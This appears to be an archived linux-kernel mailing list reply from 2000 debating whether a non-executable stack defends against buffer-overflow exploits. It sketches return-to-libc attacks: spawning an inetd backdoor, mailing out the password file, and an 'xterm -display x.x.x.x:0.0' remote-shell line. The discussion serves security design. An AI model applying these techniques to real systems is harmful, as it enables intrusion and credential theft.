Linda Walsh <law@sgi.com> writes:
> "Michael H. Warfield" wrote:
> >
> > On Tue, Apr 18, 2000 at 08:15:17AM -0700, Linda Walsh wrote:
> > Hmmm... Afraid you seemed to have missed several points.
> >
> > One, look closely at that string. Inetd does not write to any
> > file. Echo writes to the file and creates a configuration file for inetd.
> > It then execs inetd specifying that as a configuration file.
> ---
> why should inetd be runnable as a user? Seems setting up servers
> should be only at a system level to be secure...but then that's just me.
Several system administrator prefer to run their server as an user
in case it is compromised.
> >
> > Three, other layers of defense are important in any case. This was
> > just an example of why the non-executable stack option is no defense under
> > any circumstance, since simpler, easier, exploits are always available
> > which do not require it.
> ---
> N.E. Stack turns off 1 particular exploit. No more. It's not
> a panacea to an ill-maintained, unsecured system.
and open another one, which was rarely used on executable stack. :)
> >
> > Four, the string is just an example. Pick any string you like.
> > Run the command to mail you the password file if you wish.
> ---
> Got to be sure to run as root to get shadow. Limiting Password
> attempts over a network to 10/minute (as implied in CAPP) and possibly
> disabling a single account after X bad attempts would further cause
> problems.
Eyh, you don't want all of your system to be root-only,
the attacker can also "xterm -display x.x.x.x:0.0"
And there is many many other solution...
>
> > The point
> > here is that you can ALWAYS execute a command without recourse to
> > executing code on the stack under ANY circumstance where you could
> > execute a command by executing code on the stack. If you don't
> > like the system call, use another call. The increase in complexity
> > is insignificant compared to the complexity of the executable stack
> > exploits, so it's still a win.
> ---
> But buffer-stack overruns are one of the most common exploits.
> It seems making that more difficult to exploit would help. But a single
> brick does not build a wall. It's part of a wall.
A specialized library preloaded before the soft to monitor is much
more serious in this case, this library cauch call to dangerous function
and control the size of the destination buffer ( by walking throught the stack )
if the size which will be written is > than the dest buffer size,
the program is killed.
>
> > Five, the non-executable stack option does not even add a layer
> > of complexity. If anything, it forces to lamers to use and distribute
> > exploits that are actually easier to develop and deploy. Instant
> > backdoor in a can. Why bother with all that assembly language gunk
> > which takes more work, when all you have to do is know where the data
> > falls (which you would need for the executable stack even more) and
> > the entry point to the system call.
> ---
> Cool! Let's help hackers save time. Let's get to the real
> hacking tools and find ways to counter them.
^^^^^^^^^^^^^^^^^^^^^^^^^
There is already good existing tool to counter them,
if your interested, i can give you pointer.
> > I'm not arguing against any other layer than just the non-executable
> > stack option. Some would argue that it provides less than a defense simply
> > because it provides a sham or an illusion of a defense when the attackers
> > really know better. I'm not sure I totally agree with that position, but
> > I do know, now, that it offers zero protection. It closes no holes and
> > provides no increased difficulty in exploit creation or deployment. None.
> > Zero. Worthless.
> ---
> Didn't you just say above that the hackers would have to develop
> and deploy other hacking tools? That seems like at least *some* effort.
No, he said :
<quote>
If anything, it forces to lamers to use and distribute
exploits that are actually easier to develop and deploy.
</quote>
What do you call hacking tool... ?
emacs / gdb / vi ?
No need to create new one...
-- -- Yoann http://prelude.sourceforge.net It is well known that M$ product don't make a free() after a malloc(), the unix community wish them good luck for their future developement.- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/
This archive was generated by hypermail 2b29 : Sun Apr 23 2000 - 21:00:14 EST